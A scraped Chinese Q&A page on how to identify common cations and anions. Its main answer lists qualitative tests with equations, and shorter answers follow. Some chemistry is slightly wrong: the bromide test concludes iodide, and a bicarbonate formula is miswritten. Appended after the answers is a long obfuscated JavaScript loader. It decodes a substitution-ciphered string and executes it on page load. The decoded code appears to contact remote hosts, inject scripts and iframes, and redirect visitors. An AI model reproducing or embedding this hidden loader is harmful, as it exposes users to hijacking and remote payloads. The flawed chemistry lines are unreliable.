如何鉴别阴离子 和 阳离子??

2025-03-24 11:37:27
推荐回答(6个)
回答1:

鉴别Ag+用硝酸酸化氯化钠溶液
Ag+ +Cl-======AgCl↓

鉴别Pb2+用硫化钠溶液,产生黑色沉淀
Pb2+ +S2-=========PbS↓

鉴别Hg2+加少量KI溶液生成橘红色HgI2沉淀,然后溶解,生成无色溶液。
Hg2+ +2I-============HgI2↓
HgI2 +2I-================【HgI4】2-

鉴别Cu2+用氢氧化钠溶液,生成蓝色沉淀
Cu2+ +2OH-==============Cu(OH)2↓

鉴别Bi3+用“马希法”。先把Bi3+ 转化为Bi2O3(如果是非氧化性酸根离子,则不必转化)。用盐酸,锌,Bi2O3混合,生成气体进行加热,得到亮棕色的”铋镜”,即可检验出铋的存在
Bi3+ +3OH-============Bi(OH)3↓
2Bi(OH)3======加热=====Bi2O3+3H2O
Bi2O3+6Zn+12HCl====2BiH3↑+6ZnCl2+3H2O
2BiH3==加热==2Bi(铋镜)+3H2

鉴别Ba2+,先用盐酸滴入待测液,如果没有产生沉淀和气体,再滴入Na2SO4溶液,生成白色沉淀,证明原溶液有Ba2+
Ba2+ +SO42-========BaSO4↓

鉴别Fe3+用KSCN溶液,生成红色溶液证明有Fe3+.
Fe3+ + 3SCN-===========Fe(SCN)3

鉴别Fe2+用氯水,KSCN溶液,生成红色溶液证明有Fe2+.
2FeCl2+Cl2===============2FeCl3

鉴别Cr3+加入稀硫酸和PbO2,生成橙色溶液,然后加入乙醇,生成绿色溶液
3PbO2 + 2Cr3+ + 3SO42- + H2O == 3PbSO4 + Cr2O72- +2H+
3CH3CH2OH + 2Cr2O7 2- +16 H+======4Cr3+ + 3CH3COOH + 11H2O

鉴别Mg2+用Na2CO3沉淀Mg2+后生成MgCO3,然后过滤洗涤,另取试管再加少量水,滴入NaOH溶液,溶液变浑浊。
Mg2+ +2OH-==============Mg(OH)2↓

鉴别NH4+,用浓氢氧化钠溶液混合加热,生成刺激性气体使红色石蕊试纸变蓝。
NH4+ +OH-====加热=== NH3↑+H2O

鉴别Na+,用铂丝沾取原溶液,在酒精灯外焰灼烧,火焰呈黄色

鉴别Ca2+,用碳酸钠混合生成白色沉淀,通入过量CO2,沉淀溶解。
Ca2+ +CO32-================CaCO3↓
CaCO3+H2O+CO2================Ca(HCO3)2

鉴别 Al3+,加入少量氢氧化钠溶液,生成白色胶状沉淀,加入过量氢氧化钠溶液,沉淀溶解,得到无色溶液。
+【(更准确),加入盐酸,直到沉淀刚好溶解,然后加热Na2CO3溶液,生成大量气泡,白色胶状沉淀】

Al3+ +3OH-===========Al(OH)3↓
Al(OH)3+OH-==========AlO2- +2H2O
溶解沉淀
AlO2 - +H+ +H2O==============Al(OH)3↓
Al(OH)3+3H+=================Al3+ +3H2O
2Al3+ +3CO32- +3H2O===============2Al(OH)3↓+3CO2↑

鉴别CO32- ,加入盐酸,生成无色无味气体,通入澄清石灰水变浑浊,然后过量气体使浑浊石灰水又变澄清。
CO32- +2H+ ==========H2O +CO2 ↑
Ca(OH)2+CO2============CaCO3+H2O
CaCO3+H2O+CO2================Ca(HCO3)2

鉴别HCO3-,加入ZnSO4溶液,生成无色无味气体,生成白色沉淀,生成气体通入澄清石灰水变浑浊,然后过量气体使浑浊石灰水又变澄清。

Zn2+ + 2HCO32-===========ZnCO3↓+CO2↑+H2O
CO32- +2H+ ==========H2O +CO2 ↑
Ca(OH)2+CO2============CaCO3+H2O
CaCO3+H2O+CO2================Ca(HCO3)2

鉴别SO32- ,加入盐酸,生成无色刺激性气体,通入品红溶液,品红溶液红色褪去,再加热品红溶液,溶液又变成红色。

SO32- +2H+==================SO2↑+H2O

鉴别 SO42-,先加入盐酸,没有沉淀气体生成后加入氯化钡溶液,生成白色沉淀,说明溶液含有SO42-。

Ba2+ +SO42-=========BaSO4↓

鉴别S2O32-,加入盐酸,生成黄色沉淀,生成无色刺激性气体,通入品红溶液,品红溶液红色褪去,再加热品红溶液,溶液又变成红色,说明溶液含有S2O32-。

S2O32- +2H+========S↓+SO2↑+H2O

鉴别NO2-,把原溶液滴入稀硫酸酸化的KMnO4溶液,溶液紫色褪去,然后加入铜片,生成无色气体,遇到空气变成红棕色气体,说明原溶液含有NO2-。

5NO2- + 2MnO4- + 6H+==========5NO3- + 2Mn2+ +3H2O
2NO3- +3Cu +8H+============3Cu2+ + 2NO↑ +4H2O
2NO+O2 ==========2NO2

鉴别NO3-,把原溶液滴入稀硫酸,然后加入铜片,生成无色气体,遇到空气变成红棕色气体,说明原溶液含有NO3-。

2NO3- +3Cu +8H+============3Cu2+ + 2NO↑ +4H2O
2NO+O2 ==========2NO2

鉴别I-,把原溶液滴入稀硫酸,加入H2O2溶液,然后加入淀粉溶液,生成溶液变成蓝色,证明原溶液含有I-。

2I- +2H+ +H2O2==========I2 + 2H2O

鉴别Br-,把原溶液滴入氯水,然后加入CCl4溶液,溶液分层,下层液体变成橙色,证明原溶液含有I-。
2Br- +Cl2========Br2+2Cl-

鉴别Cl-,加入硝酸酸化AgNO3溶液,生成白色沉淀,说明原溶液有Cl- 。
Ag+ +Cl- ======AgCl↓

回答2:

电子聚集的是阴离子
原子核聚集的是阳离子

回答3:

看它的原子是得到了电子还是失去了电子得到电子
它本身显负电
成为阴离子失去电子
它本身显正电
成为阳离子

回答4:

带正号就是阳离子,反之就是阴离子

回答5:

是说化学反应式中的阴阳离子么?
还是絮凝剂中的药剂类型?

回答6:

看原来的化合价,

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();